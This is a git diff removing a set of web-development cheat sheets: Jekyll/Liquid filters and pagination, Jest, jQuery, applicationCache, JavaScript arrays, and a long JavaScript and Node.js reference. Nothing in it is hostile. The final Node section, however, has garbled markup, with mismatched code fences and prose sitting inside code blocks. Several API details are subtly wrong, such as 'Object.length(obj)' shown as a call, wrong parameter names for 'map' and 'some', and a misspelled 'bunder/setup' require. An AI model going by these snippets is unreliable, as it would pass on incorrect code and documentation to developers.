-| `array_to_sentence_string`                 | → `"X, Y and Z"`   |
-| ---                                        | ---                |
-| `map:` _'post'_                            | Works like 'pluck' |
-| ---                                        | ---                |
-| `size`                                     |                    |
-| `push:` _'xxx'_                            | Adds an item       |
-
-### String filters
-
-```ruby
-{{ page.title | default: "xxx" }}
-```
-
-{: .-setup}
-
-| Filter                             | Description |
-| ---------------------------------- | ----------- |
-| `default:` _'xxx'_                 |             |
-| ---                                | ---         |
-| `upcase`                           |             |
-| `downcase`                         |             |
-| ---                                | ---         |
-| `remove:` _'p'_                    |             |
-| `replace:` _'super', 'mega'_       |             |
-| `remove_first:` _'p'_              |             |
-| `replace_first:` _'super', 'mega'_ |             |
-| ---                                | ---         |
-| `truncate:` _5_                    |             |
-| `truncatewords:` _20_              |             |
-| ---                                | ---         |
-| `prepend:` _'Mr. '_                |             |
-| `append:` _'Jr.'_                  |             |
-| ---                                | ---         |
-| `camelize`                         |             |
-| `capitalize`                       |             |
-| `strip_html`                       |             |
-| `strip_newlines`                   |             |
-| `newlines_to_br`                   |             |
-| ---                                | ---         |
-| `split:` _','_                     |             |
-| ---                                | ---         |
-| `escape`                           |             |
-| `escape_once`                      |             |
-| ---                                | ---         |
-| `slice:` _-3, 3_                   |             |
-
-See: [String filters](http://docs.shopify.com/themes/liquid-documentation/filters)
-
-### String filters (Jekyll-only)
-
-```ruby
-{{ page.excerpt | number_of_words }}
-```
-
-{: .-setup}
-
-| Filter            | Description    |
-| ----------------- | -------------- |
-| `number_of_words` |                |
-| `slugify`         |                |
-| ---               | ---            |
-| `xml_escape`      | → `CDATA`      |
-| `cgi_escape`      | → `foo%2Cbar`  |
-| `uri_escape`      | → `foo,%20bar` |
-
-### Numbers
-
-```
-{{ site.posts.size | minus: 2 }}
-```
-
-{: .-setup}
-
-| Filter            | Description |
-| ----------------- | ----------- |
-| `minus:` _2_      |             |
-| `plus:` _2_       |             |
-| `times:` _2_      |             |
-| `divided_by:` _2_ |             |
-| `modulo:` _2_     |             |
-| ---               | ---         |
-| `ceil`            |             |
-| `floor`           |             |
-| `round`           |             |
-
-## Paginator
-
-### Paginator setup
-
-Add this to `_config.yml`:
-{: .-setup}
-
-```yml
-paginate: 5
-paginate_path: 'blog/:num'
-```
-
-See: [Paginator](http://jekyllrb.com/docs/pagination/)
-
-### Numbers
-
-```
-{{ paginator.page }}         - page number
-{{ paginator.total_posts }}
-{{ paginator.total_pages }}
-{{ paginator.per_page }}
-```
-
-### Iterating through posts
-
-```
-{% for post in paginator.posts %} ... {% endfor %}
-```
-
-### Previous button
-
-```
-{% if paginator.total_pages > 1 %}
-  {% if paginator.previous_page %}
-    <a href="{{ paginator.previous_page_path }}">Previous</a>
-  {% else %}
-  {% endif %}
-{% endif %}
-```
-
-```
-{{ paginator.next_page }}     - page number
-{{ paginator.next_page_path }}
-```
-
-## Blogging
-
-### Paths
-
-    _posts/YEAR-MONTH-DAY-title.md
-
-See: [Blogging](http://jekyllrb.com/docs/posts/)
-
-### Image paths
-
-    ![My helpful screenshot]({{ site.url }}/assets/screenshot.jpg)
-
-See: [Image paths](http://jekyllrb.com/docs/posts/#including-images-and-resources)
-
-### Drafts
-
-    vi _drafts/a-draft-post.md
-    jekyll build --drafts
-
-Posts in `_drafts` only show up in development, but not production.
-See: [Drafts](http://jekyllrb.com/docs/drafts/)
-
-### Defining excerpts
-
-```
----
-title: My blog post
-excerpt: This post is about cats
----
-
-Hello, let's talk about cats. (···)
-```
-
-Put a key `excerpt` in the frontmatter.
-See: [Excerpts](http://jekyllrb.com/docs/posts/#post-excerpts)
-
-### Displaying excerpts
-
-```html
-{{ post.excerpt }}
-```
-
-```html
-{{ post.excerpt | remove: '
-<p>' | remove: '</p>
-' }} {{ post.excerpt | strip_html }}
-```
-
-### Excerpt separator
-
-```html
----
-excerpt_separator: <!--more-->
----
-
-Excerpt here
-<!--more-->
-More post body here
-```
-
-Alternatively, you can put excerpts inline in your post by defining `excerpt_separator`.
-
-### Permalinks
-
-    # _config.yml
-    permalink: date   # /:categories/:year/:month/:day/:title.html
-    permalink: pretty # /:categories/:year/:month/:day/:title/
-    permalink: none   # /:categories/:title.html
-    permalink: "/:title"
-
-See: [Permalinks](http://jekyllrb.com/docs/permalinks/)
-
-## More features
-
-### Data
-
-```
-_data/members.yml
-```
-
-{: .-setup}
-
-```
-{% for member in site.data.members %}
-  ...
-{% endfor %}
-```
-
-See: [Data](http://jekyllrb.com/docs/datafiles/)
-
-### Collections
-
-```yml
-# _config.yml
-collections:
-    - authors
-```
-
-{: .-setup}
-
-```yml
-# _/authors/a-n-roquelaire.md
----
-name: A. N. Roquelaire
-real_name: Anne Rice
----
-```
-
-```
-{% for author in site.authors %}
-```
-
-See: [Collections](http://jekyllrb.com/docs/collections/)
-
-### Code highlighter
-
-```html
-{% highlight ruby linenos %} def show ... end {% endhighlight %}
-```
-
-## Integration
-
-### Bundler
-
-In `_plugins/bundler.rb`:
-{: .-setup}
-
-```ruby
-require "bunder/setup"
-Bundler.require :default
-```
-
-### Compass
-
--   [Compass](https://gist.github.com/parkr/2874934)
--   [Asset pipeline](https://github.com/matthodan/jekyll-asset-pipeline)
-
-## Also see
-
-{: .-one-column}
-
--   [Jekyll docs](http://jekyllrb.com/docs/home/) _jekyllrb.com_
--   [CloudCannon Jekyll cheatsheet](https://learn.cloudcannon.com/jekyll-cheat-sheet/) _cloudcannon.com_
--   [Jekyll: templates](http://jekyllrb.com/docs/templates/) _jekyllrb.com_
--   [Liquid: output](http://docs.shopify.com/themes/liquid-basics/output) _shopify.com_
--   [Liquid: logic](http://docs.shopify.com/themes/liquid-basics/logic) _shopify.com_
--   [Liquid: filters](http://docs.shopify.com/themes/liquid-documentation/filters) _shopify.com_
--   [Liquid for designers](https://github.com/Shopify/liquid/wiki/Liquid-for-Designers) _github.com/Shopify_
-    {: .-also-see}
-
-{% endraw %}
diff --git a/docs/content/cheat-sheets/jest.md b/docs/content/cheat-sheets/jest.md
deleted file mode 100644
index eaa88b54ae..0000000000
--- a/docs/content/cheat-sheets/jest.md
+++ /dev/null
@@ -1,345 +0,0 @@
----
-title: Jest
-category: JavaScript libraries
-
-weight: -3
-tags: [Featurable]
-intro: |
-    A quick overview to [Jest](https://facebook.github.io/jest/), a test framework for Node.js. This guide targets Jest v20.
----
-
-## Testing
-
-### Quick start
-
-```bash
-npm install --save-dev jest babel-jest
-```
-
-{: data-line="1"}
-
-```js
-/* Add to package.json */
-"scripts": {
-  "test": "jest"
-}
-```
-
-```bash
-# Run your tests
-npm test -- --watch
-```
-
-See: [Getting started](http://facebook.github.io/jest/docs/en/getting-started.html)
-
-### Writing tests
-
-```js
-describe('My work', () => {
-    test('works', () => {
-        expect(2).toEqual(2);
-    });
-});
-```
-
-See: [describe()](http://facebook.github.io/jest/docs/en/api.html#describename-fn), [test()](http://facebook.github.io/jest/docs/en/api.html#testname-fn), [expect()](http://facebook.github.io/jest/docs/en/expect.html#content)
-
-### BDD syntax
-
-```js
-describe('My work', () => {
-  it('works', () => {
-    ···
-  })
-})
-```
-
-`it` is an alias for `test`.
-See: [test()](http://facebook.github.io/jest/docs/en/api.html#testname-fn)
-
-### Setup
-
-```js
-beforeEach(() => { ... })
-afterEach(() => { ... })
-```
-
-```js
-beforeAll(() => { ... })
-afterAll(() => { ... })
-```
-
-See: [afterAll() and more](http://facebook.github.io/jest/docs/en/api.html#afterallfn)
-
-### Focusing tests
-
-```js
-describe.only(···)
-it.only(···) // alias: fit()
-```
-
-See: [test.only](http://facebook.github.io/jest/docs/en/api.html#testonlyname-fn)
-
-### Skipping tests
-
-```js
-describe.skip(···)
-it.skip(···) // alias: xit()
-```
-
-See: [test.skip](http://facebook.github.io/jest/docs/en/api.html#testskipname-fn)
-
-### Optional flags
-
-| Flag                  | Description                              |
-| --------------------- | ---------------------------------------- |
-| `--coverage`          | See a summary of test coverage           |
-| `--detectOpenHandles` | See a summary of ports that didn't close |
-| `--runInBand`         | Run all tests one after the other        |
-
-## Expect
-
-### Basic expectations
-
-```js
-expect(value).not.toBe(value).toEqual(value).toBeTruthy();
-```
-
-Note that `toEqual` is a deep equality check.
-See: [expect()](http://facebook.github.io/jest/docs/en/expect.html#expectvalue)
-
-### Snapshots
-
-```js
-expect(value).toMatchSnapshot().toMatchInlineSnapshot();
-```
-
-Note that `toMatchInlineSnapshot()` requires Prettier to be set up for the project.
-See: [Inline snapshots](https://jestjs.io/docs/en/snapshot-testing#inline-snapshots)
-
-### Errors
-
-```js
-expect(value).toThrow(error).toThrowErrorMatchingSnapshot();
-```
-
-### Booleans
-
-```js
-expect(value).toBeFalsy().toBeNull().toBeTruthy().toBeUndefined().toBeDefined();
-```
-
-### Numbers
-
-```js
-expect(value).toBeCloseTo(number, numDigits).toBeGreaterThan(number).toBeGreaterThanOrEqual(number).toBeLessThan(number).toBeLessThanOrEqual(number);
-```
-
-### Objects
-
-```js
-expect(value).toBeInstanceOf(Class).toMatchObject(object).toHaveProperty(keyPath, value);
-```
-
-### Objects
-
-```js
-expect(value).toContain(item).toContainEqual(item).toHaveLength(number);
-```
-
-### Strings
-
-```js
-expect(value).toMatch(regexpOrString);
-```
-
-### Others
-
-```js
-expect.extend(matchers);
-expect.any(constructor);
-expect.addSnapshotSerializer(serializer);
-
-expect.assertions(1);
-```
-
-## More features
-
-### Asynchronous tests
-
-```js
-test('works with promises', () => {
-  return new Promise((resolve, reject) => {
-    ···
-  })
-})
-```
-
-{: data-line="2"}
-
-```js
-test('works with async/await', async () => {
-  const hello = await foo()
-  ···
-})
-```
-
-{: data-line="2"}
-
-Return promises, or use async/await.
-See: [Async tutorial](http://facebook.github.io/jest/docs/en/tutorial-async.html)
-
-### Snapshots
-
-```jsx
-it('works', () => {
-    const output = something();
-    expect(output).toMatchSnapshot();
-});
-```
-
-First run creates a snapshot. Subsequent runs match the saved snapshot.
-See: [Snapshot testing](http://facebook.github.io/jest/docs/en/snapshot-testing.html)
-
-### React test renderer
-
-```jsx
-import renderer from 'react-test-renderer';
-```
-
-{: .-setup}
-
-```jsx
-it('works', () => {
-    const tree = renderer.create(<Link page="http://www.facebook.com">Facebook</Link>).toJSON();
-
-    expect(tree).toMatchSnapshot();
-});
-```
-
-{: data-line="2,3,4"}
-
-React's test renderer can be used for Jest snapshots.
-See: [Snapshot test](http://facebook.github.io/jest/docs/en/tutorial-react-native.html#snapshot-test)
-
-### Timers
-
-```js
-jest.useFakeTimers();
-```
-
-```js
-it('works', () => {
-    jest.runOnlyPendingTimers();
-    jest.runTimersToTime(1000);
-    jest.runAllTimers();
-});
-```
-
-See: [Timer Mocks](http://facebook.github.io/jest/docs/en/timer-mocks.html)
-
-## Mock functions
-
-### Mock functions
-
-```js
-const fn = jest.fn();
-```
-
-```js
-const fn = jest.fn((n) => n * n);
-```
-
-See: [Mock functions](http://facebook.github.io/jest/docs/en/mock-functions.html#using-a-mock-function)
-
-### Assertions
-
-```js
-expect(fn)
-  .toHaveBeenCalled()
-  .toHaveBeenCalledTimes(number)
-  .toHaveBeenCalledWith(arg1, arg2, ...)
-  .toHaveBeenLastCalledWith(arg1, arg2, ...)
-```
-
-```js
-expect(fn)
-    .toHaveBeenCalledWith(expect.anything())
-    .toHaveBeenCalledWith(expect.any(constructor))
-    .toHaveBeenCalledWith(expect.arrayContaining([values]))
-    .toHaveBeenCalledWith(expect.objectContaining({ props }))
-    .toHaveBeenCalledWith(expect.stringContaining(string))
-    .toHaveBeenCalledWith(expect.stringMatching(regexp));
-```
-
-### Instances
-
-```js
-const Fn = jest.fn();
-
-a = new Fn();
-b = new Fn();
-```
-
-```js
-Fn.mock.instances;
-// → [a, b]
-```
-
-{: data-line="1"}
-
-See: [.mock property](http://facebook.github.io/jest/docs/en/mock-functions.html#mock-property)
-
-### Calls
-
-```js
-const fn = jest.fn();
-fn(123);
-fn(456);
-```
-
-```js
-fn.mock.calls.length; // → 2
-fn.mock.calls[0][0]; // → 123
-fn.mock.calls[1][0]; // → 456
-```
-
-{: data-line="1,2,3"}
-
-See: [.mock property](http://facebook.github.io/jest/docs/en/mock-functions.html#mock-property)
-
-### Return values
-
-```js
-const fn = jest.fn(() => 'hello');
-```
-
-#### or:
-
-```js
-jest.fn().mockReturnValue('hello');
-jest.fn().mockReturnValueOnce('hello');
-```
-
-### Mock implementations
-
-```js
-const fn = jest
-    .fn()
-    .mockImplementationOnce(() => 1)
-    .mockImplementationOnce(() => 2);
-```
-
-{: data-line="2,3"}
-
-```js
-fn(); // → 1
-fn(); // → 2
-```
-
-## References
-
-{: .-one-column}
-
--   <http://facebook.github.io/jest/>
-    {: .-also-see}
diff --git a/docs/content/cheat-sheets/jquery-cdn.md b/docs/content/cheat-sheets/jquery-cdn.md
deleted file mode 100644
index 8f6b9a8557..0000000000
--- a/docs/content/cheat-sheets/jquery-cdn.md
+++ /dev/null
@@ -1,11 +0,0 @@
----
-title: jQuery CDN
-category: JavaScript libraries
-tags: [Archived]
----
-
-### Google jQuery
-
-```html
-<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
-```
diff --git a/docs/content/cheat-sheets/jquery.md b/docs/content/cheat-sheets/jquery.md
deleted file mode 100644
index 8704180a29..0000000000
--- a/docs/content/cheat-sheets/jquery.md
+++ /dev/null
@@ -1,45 +0,0 @@
----
-title: jQuery
-category: JavaScript libraries
-
-tags: [WIP]
-weight: -1
----
-
-### Traversing
-
-```js
-$('.box').children().closest('div').filter(':selected').find('div').has('div').first().next('div').nextUntil('div');
-```
-
-## Advanced features
-
-### Extending selectors
-
-```js
-$.expr[':'].inline = function (el) {
-    return $(el).css('display') === 'inline';
-};
-```
-
-Enables `$(':inline')`
-
-### Extend CSS properties
-
-```js
-$.cssHooks.someCSSProp = {
-    get: function (elem, computed, extra) {},
-    set: function (elem, value) {}
-};
-
-// Disable "px"
-$.cssNumber['someCSSProp'] = true;
-```
-
-### fn.animate() hooks
-
-```js
-$.fn.step.someWhatever = function (fx) {
-    // ...
-};
-```
diff --git a/docs/content/cheat-sheets/js-appcache.md b/docs/content/cheat-sheets/js-appcache.md
deleted file mode 100644
index d94549a854..0000000000
--- a/docs/content/cheat-sheets/js-appcache.md
+++ /dev/null
@@ -1,37 +0,0 @@
----
-title: applicationCache
-category: JavaScript
----
-
-## Reference
-
-{: .-one-column}
-
-### applicationCache checking
-
-```js
-if (window.applicationCache) {
-    // "Naturally" reload when an update is available
-    var reload = false;
-
-    window.applicationCache.addEventListener(
-        'updateready',
-        () => {
-            if (window.applicationCache.status === window.applicationCache.UPDATEREADY) {
-                window.applicationCache.swapCache();
-                reload = true;
-            }
-        },
-        false
-    );
-
-    setInterval(() => {
-        try {
-            // There's nothing to update for first-time load, browser freaks out :/
-            window.applicationCache.update();
-        } catch (e) {}
-    }, 1000 * 60 * 60); // Every hour
-}
-```
-
-This is a deprecated HTML feature. See: [Using the application cache](https://developer.mozilla.org/en-US/docs/HTML/Using_the_application_cache) _(developer.mozilla.org)_
diff --git a/docs/content/cheat-sheets/js-array.md b/docs/content/cheat-sheets/js-array.md
deleted file mode 100644
index 955620f7b9..0000000000
--- a/docs/content/cheat-sheets/js-array.md
+++ /dev/null
@@ -1,98 +0,0 @@
----
-title: JavaScript Arrays
-category: JavaScript
----
-
-### Arrays
-
-```bash
-list = [a,b,c,d,e]
-```
-
-{: .-setup}
-
-```bash
-list[1]                 // → b
-list.indexOf(b)         // → 1
-```
-
-### Subsets
-
-#### Immutable
-
-```bash
-list.slice(0,1)         // → [a        ]
-list.slice(1)           // → [  b,c,d,e]
-list.slice(1,2)         // → [  b      ]
-```
-
-#### Mutative
-
-```bash
-re = list.splice(1)     // re = [b,c,d,e]  list == [a]
-re = list.splice(1,2)   // re = [b,c]      list == [a,d,e]
-```
-
-### Adding items
-
-#### Immutable
-
-```bash
-list.concat([X,Y])      // → [_,_,_,_,_,X,Y]
-```
-
-#### Mutative
-
-```bash
-list.push(X)            // list == [_,_,_,_,_,X]
-list.unshift(X)         // list == [X,_,_,_,_,_]
-list.splice(2, 0, X)    // list == [_,_,X,_,_,_]
-```
-
-### Inserting
-
-```bash
-// after -- [_,_,REF,NEW,_,_]
-list.splice(list.indexOf(REF)+1, 0, NEW))
-```
-
-```bash
-// before -- [_,_,NEW,REF,_,_]
-list.splice(list.indexOf(REF), 0, NEW))
-```
-
-### Replace items
-
-```bash
-list.splice(2, 1, X)    // list == [a,b,X,d,e]
-```
-
-### Removing items
-
-```bash
-list.pop()              // → e    list == [a,b,c,d]
-list.shift()            // → a    list == [b,c,d,e]
-list.splice(2, 1)       // → [c]  list == [a,b,d,e]
-```
-
-### Iterables
-
-```bash
-.filter(n => ...) => array
-```
-
-```bash
-.find(n => ...)  // es6
-.findIndex(...)  // es6
-```
-
-```bash
-.every(n => ...) => Boolean // ie9+
-.some(n => ..) => Boolean   // ie9+
-```
-
-```bash
-.map(n => ...)   // ie9+
-.reduce((total, n) => total) // ie9+
-.reduceRight(...)
-```
diff --git a/docs/content/cheat-sheets/js-cheatsheet-3.md b/docs/content/cheat-sheets/js-cheatsheet-3.md
deleted file mode 100644
index fbd7fa7b36..0000000000
--- a/docs/content/cheat-sheets/js-cheatsheet-3.md
+++ /dev/null
@@ -1,2825 +0,0 @@
-# CHEATSHEET (3)
-
-## Vanilla JS
-
-> Global object: properties
-
-```js
-Object.length(obj);
-```
-
-> length is a property of a function object, and indicates how many arguments the function expects, i.e. the number of formal parameters. This number does not include the rest parameter. Has a value of 1.
-
-```js
-Object.prototype;
-```
-
-> Represents the Object prototype object and allows to add new properties and methods to all objects of type Object. Methods of the Object constructor
-
-```js
-Object.assign(target, ...sources);
-```
-
-> Copies the values of all enumerable own properties from one or more source objects to a target object. method is used to copy the values of all enumerable own properties from one or more source objects to a target object. It will return the target object
-
-```js
-Object.create(MyObject);
-```
-
-> Creates a new object with the specified prototype object and properties. The object which should be the prototype of the newly-created object.
-
-```js
-Object.defineProperty(obj, prop, descriptor);
-```
-
-> Adds the named property described by a given descriptor to an object.
-
-```js
-Object.defineProperties(obj, props);
-```
-
-> Adds the named properties described by the given descriptors to an object.
-
-```js
-Object.entries(obj);
-```
-
-> Returns an array containing all of the \[key, value] pairs of a given object's own enumerable string properties.
-
-```js
-Object.freeze(obj);
-```
-
-> Freezes an object: other code can't delete or change any properties.
-
-```js
-Object.getOwnPropertyDescriptor(obj, prop);
-```
-
-> Returns a property descriptor for a named property on an object.
-
-```js
-Object.getOwnPropertyDescriptors(obj);
-```
-
-> Returns an object containing all own property descriptors for an object.
-
-```js
-Object.getOwnPropertyNames(obj);
-```
-
-> Returns an array containing the names of all of the given object's own enumerable and non-enumerable properties.
-
-```js
-Object.getOwnPropertySymbols(obj);
-```
-
-> Returns an array of all symbol properties found directly upon a given object.
-
-```js
-Object.getPrototypeOf(obj);
-```
-
-> Returns the prototype of the specified object.
-
-```js
-Object.is(value1, value2);
-```
-
-> Compares if two values are the same value. Equates all NaN values (which differs from both Abstract Equality Comparison and Strict Equality Comparison).
-
-```js
-Object.isExtensible(obj);
-```
-
-> Determines if extending of an object is allowed.
-
-```js
-Object.isFrozen(obj);
-```
-
-> Determines if an object was frozen.
-
-```js
-Object.isSealed(obj);
-```
-
-> Determines if an object is sealed.
-
-```js
-Object.keys(obj);
-```
-
-> Returns an array containing the names of all of the given object's own enumerable string properties.
-
-```js
-Object.preventExtensions(obj);
-```
-
-> Prevents any extensions of an object.
-
-```js
-Object.seal(obj);
-```
-
-> Prevents other code from deleting properties of an object.
-
-```js
-Object.setPrototypeOf(obj, prototype);
-```
-
-> Sets the prototype (i.e., the internal \[\[Prototype]] property).
-
-```js
-Object.values(obj);
-```
-
-> Returns an array containing the values that correspond to all of a given object's own enumerable string properties. Object instances and Object prototype object (Object.prototype.property or Object.prototype.method()) Properties
-
-```js
-obj.constructor;
-```
-
-> Specifies the function that creates an object's prototype.
-
-```js
-obj.__proto__;
-```
-
-> Points to the object which was used as prototype when the object was instantiated. Methods
-
-```js
-obj.hasOwnProperty(prop);
-```
-
-> Returns a boolean indicating whether an object contains the specified property as a direct property of that object and not inherited through the prototype chain.
-
-```js
-prototypeObj.isPrototypeOf(object);
-```
-
-> Returns a boolean indicating whether the object this method is called upon is in the prototype chain of the specified object.
-
-```js
-obj.propertyIsEnumerable(prop);
-```
-
-> Returns a boolean indicating if the internal ECMAScript \[\[Enumerable]] attribute is set.
-
-```js
-obj.toLocaleString();
-```
-
-> Calls toString().
-
-```js
-obj.toString();
-```
-
-> Returns a string representation of the object.
-
-```js
-object.valueOf();
-```
-
-> Returns the primitive value of the specified object.
-
-### Global object: properties
-
-```js
-Array.length;
-```
-
-> Reflects the number of elements in an array.
-
-```js
-Array.prototype;
-```
-
-> Represents the prototype for the Array constructor and allows to add new properties and methods to all Array objects.
-
-### Global object: methods
-
-```js
-Array.from(arrayLike[, mapFn[, thisArg]])
-```
-
-> Creates a new Array instance from an array-like or iterable object.
-
-```js
-Array.isArray(obj);
-```
-
-> Returns true if a variable is an array, if not false.
-
-```js
-Array.of(element0[, element1[, ...[, elementN]]]);
-```
-
-> Creates a new Array instance with a variable number of arguments, regardless of number or type of the arguments. Instance: properties
-
-```js
-arr.length;
-```
-
-> Reflects the number of elements in an array. Instance: mutator methods
-
-```js
-arr.copyWithin(target, start, end);
-```
-
-> Copies a sequence of array elements within the array.
-
-```js
-arr.fill(value, start, end);
-```
-
-> Fills all the elements of an array from a start index to an end index with a static value.
-
-```js
-arr.pop();
-```
-
-> Removes the last element from an array and returns that element.
-
-```js
-arr.push([element1[, ...[, elementN]]])
-```
-
-> Adds one or more elements to the end of an array and returns the new length of the array.
-
-```js
-arr.reverse();
-```
-
-> Reverses the order of the elements of an array in place — the first becomes the last, and the last becomes the first.
-
-```js
-arr.shift();
-```
-
-> Removes the first element from an array and returns that element.
-
-```js
-arr.sort();
-```
-
-> Sorts the elements of an array in place and returns the array.
-
-```js
-array.splice(start, deleteCount, item1, item2, ...)
-```
-
-> Adds and/or removes elements from an array.
-
-```js
-arr.unshift([element1[, ...[, elementN]]])
-```
-
-> Adds one or more elements to the front of an array and returns the new length of the array. Instance: accessor methods
-
-```js
-arr.concat(value1[, value2[, ...[, valueN]]])
-```
-
-> Returns a new array comprised of this array joined with other array(s) and/or value(s).
-
-```js
-arr.includes(searchElement, fromIndex);
-```
-
-> Determines whether an array contains a certain element, returning true or false as appropriate.
-
-```js
-arr.indexOf(searchElement[, fromIndex])
-```
-
-> Returns the first (least) index of an element within the array equal to the specified value, or -1 if none is found.
-
-```js
-arr.join(separator);
-```
-
-> Joins all elements of an array into a string.
-
-```js
-arr.lastIndexOf(searchElement, fromIndex);
-```
-
-> Returns the last (greatest) index of an element within the array equal to the specified value, or -1 if none is found.
-
-```js
-arr.slice(begin, end);
-```
-
-> Extracts a section of an array and returns a new array.
-
-```js
-arr.toString();
-```
-
-> Returns a string representing the array and its elements. Overrides the Object.prototype.toString() method.
-
-```js
-arr.toLocaleString(locales, options);
-```
-
-> Returns a localized string representing the array and its elements. Overrides the Object.prototype.toLocaleString() method. Instance: iteration methods
-
-```js
-arr.entries();
-```
-
-> Returns a new Array Iterator object that contains the key/value pairs for each index in the array.
-
-```js
-arr.every(callback[, thisArg])
-```
-
-> Returns true if every element in this array satisfies the provided testing function.
-
-```js
-arr.filter(callback[, thisArg])
-```
-
-> Creates a new array with all of the elements of this array for which the provided filtering function returns true.
-
-```js
-arr.find(callback[, thisArg])
-```
-
-> Returns the found value in the array, if an element in the array satisfies the provided testing function or undefined if not found.
-
-```js
-arr.findIndex(callback[, thisArg])
-```
-
-> Returns the found index in the array, if an element in the array satisfies the provided testing function or -1 if not found.
-
-```js
-arr.forEach(callback[, thisArg])
-```
-
-> Calls a function for each element in the array.
-
-```js
-arr.keys();
-```
-
-> Returns a new Array Iterator that contains the keys for each index in the array.
-
-```js
-arr.map(callback[, initialValue])
-```
-
-> Creates a new array with the results of calling a provided function on every element in this array.
-
-```js
-arr.reduce(callback[, initialValue])
-```
-
-> Apply a function against an accumulator and each value of the array (from left-to-right) as to reduce it to a single value.
-
-```js
-arr.reduceRight(callback[, initialValue])
-```
-
-> Apply a function against an accumulator and each value of the array (from right-to-left) as to reduce it to a single value.
-
-```js
-arr.some(callback[, initialValue])
-```
-
-> Returns true if at least one element in this array satisfies the provided testing function.
-
-```js
-arr.values();
-```
-
-> Returns a new Array Iterator object that contains the values for each index in the array.
-
----
-
-## NodeJS
-
----
-
-```js
-let http = require('http');
-```
-
-> An example of a web server written with Node which responds with 'Hello World'. To run the server, put the code into a file called example.js and execute it with the node program.
-
-```js
-http.createServer(function (request, response) {
-    response.writeHead(200, { 'Content-Type': 'text/plain' });
-    response.end('Hello World\n');
-}).listen(8124);
-console.log('Server running at http://127.0.0.1:8124/');
-```
-
-### GLOBAL OBJECTS
-
-#### In browsers, the top-level scope is the global scope.
-
-> That means that in browsers if you're in the global scope let something will define a global variable. In Node this is different. The top-level scope is not the global scope; let something inside a Node module will be local to that module.
-
-```js
-__filename;
-```
-
----
-
-> The filename of the code being executed. (absolute path) \_\_dirname;
-
-```
->  The name of the directory that the currently executing script resides in. (absolute path)
-module;
-```
-
----
-
-> A reference to the current module. In particular module.exports is used for defining what a module exports and makes available through require().
-
-```js
-exports;
-```
-
----
-
-> A reference to the module.exports that is shorter to type.
-
-```js
-process;
-```
-
----
-
-> The process object is a global object and can be accessed from anywhere. It is an instance of EventEmitter.
-
-```js
-Buffer;
-```
-
----
-
-> The Buffer class is a global type for dealing with binary data directly.
-
-```js
-console.log([data], [...]);
-```
-
----
-
-> Prints to stdout with newline.
-
-```js
-console.info([data], [...]);
-```
-
-> Same as console.log.
-
-```js
-console.error([data], [...]);
-```
-
----
-
-> Same as console.log but prints to stderr.
-
-```js
-console.warn([data], [...]);
-```
-
----
-
-> Same as console.error.
-
-```js
-console.dir(obj);
-```
-
-> Uses util.inspect on obj and prints resulting string to stdout.
-
-```js
-console.time(label);
-```
-
----
-
-> Mark a time.
-
-```js
-console.timeEnd(label);
-```
-
-> Finish timer, record output.
-
-```js
-console.trace(label);
-```
-
----
-
-> Print a stack trace to stderr of the current position.
-
-```js
-console.assert(expression, [message]);
-```
-
----
-
-> Same as assert.ok() where if the expression evaluates as false throw an AssertionError with message.
-
-```js
-setTimeout(callback, delay, [arg], [...]);
-```
-
-> To schedule execution of a one-time callback after delay milliseconds. Optionally you can also pass arguments to the callback.
-
-```js
-clearTimeout(t);
-```
-
-> Stop a timer that was previously created with setTimeout().
-
-```js
-setInterval(callback, delay, [arg], [...]);
-```
-
----
-
-> To schedule the repeated execution of callback every delay milliseconds. Optionally you can also pass arguments to the callback.
-
-```js
-clearInterval(t);
-```
-
-> Stop a timer that was previously created with setInterval().
-
-```js
-setImmediate(callback, [arg], [...]);
-```
-
-> To schedule the "immediate" execution of callback after I/O events callbacks and before setTimeout and setInterval.
-
-```js
-clearImmediate(immediateObject);
-```
-
-> Stop a timer that was previously created with setImmediate().
-
-```js
-unref();
-```
-
-> Allow you to create a timer that is active but if it is the only item left in the event loop, node won't keep the program running.
-
-```js
-ref();
-```
-
-```
->  If you had previously unref()d a timer you can call ref() to explicitly request the timer hold the program open.
-let module = require('./module.js');
-```
-
-> Loads the module module.js in the same directory.
-
-```js
-module.require('./another_module.js');
-```
-
----
-
-> load another_module as if require() was called from the module itself.
-
-```js
-module.id;
-```
-
-> The identifier for the module. Typically this is the fully resolved filename.
-
-```js
-module.filename;
-```
-
----
-
-> The fully resolved filename to the module.
-
-```js
-module.loaded;
-```
-
-````
->  Whether or not the module is done loading, or is in the process of loading.
-
-```js
-
-module.parent;
-````
-
-````
->  The module that required this one.
-
-```js
-
-module.children;
-````
-
----
-
-> The module objects required by this one.
-
-```js
-exports.area = function (r) {
-    return Math.PI * r * r;
-};
-```
-
-> If you want the root of your module's export to be a function (such as a constructor) or if you want to export a complete object in one assignment instead of building it one property at a time, assign it to module.exports instead of exports.
-
-```js
-module.exports = function(width) {
-return {
-  area: function() {
-    return width * width;
-  }
-};
-}
-//**************
- // * PROCESS
- * http://nodejs.org/api/process.html
-*/
-> ---------------------------------------------------------------------------\\
-process.on('exit', function(code) {});
-```
-
-> Emitted when the process is about to exit process.on('uncaughtException', function(err) {});
-
-```
----
->  Emitted when an exception bubbles all the way back to the event loop. (should not be used)
-process.stdout;
-```
-
-> A writable stream to stdout.
-
-```js
-process.stderr;
-```
-
-> A writable stream to stderr.
-
-```js
-process.stdin;
-```
-
----
-
-> A readable stream for stdin.
-
-````js
-process.argv;
->  An array containing the command line arguments.
-
-```js
-
-process.env;
-````
-
-> An object containing the user environment.
-
-```js
-process.execPath;
-```
-
-> This is the absolute pathname of the executable that started the process.
-
-```js
-process.execArgv;
-```
-
-> This is the set of node-specific command line options from the executable that started the process.
-
-````js
-process.arch;
->  What processor architecture you're running on: 'arm', 'ia32', or 'x64'.
-
-```js
-
-process.config;
-````
-
-> An Object containing the JavaScript representation of the configure options that were used to compile the current node executable.
-
-```js
-process.pid;
-```
-
-> The PID of the process.
-
-```js
-process.platform;
-```
-
-> What platform you're running on: 'darwin', 'freebsd', 'linux', 'sunos' or 'win32'.
-
-```js
-process.title;
-```
-
----
-
-> Getter/setter to set what is displayed in 'ps'.
-
-```js
-process.version;
-```
-
-> A compiled-in property t hat exposes NODE_VERSION.
-
-```js
-process.versions;
-```
-
-> A property exposing version strings of node and its dependencies.
-
-```js
-> process.abort();
-```
-
-> This causes node to emit an abort. This will cause node to exit and generate a core file.
-
-````js
-process.chdir(dir);
->  Changes the current working directory of the process or throws an exception if that fails.
-
-```js
-
-process.cwd();
-````
-
----
-
-> Returns the current working directory of the process. ?process.exit(\[code]);\
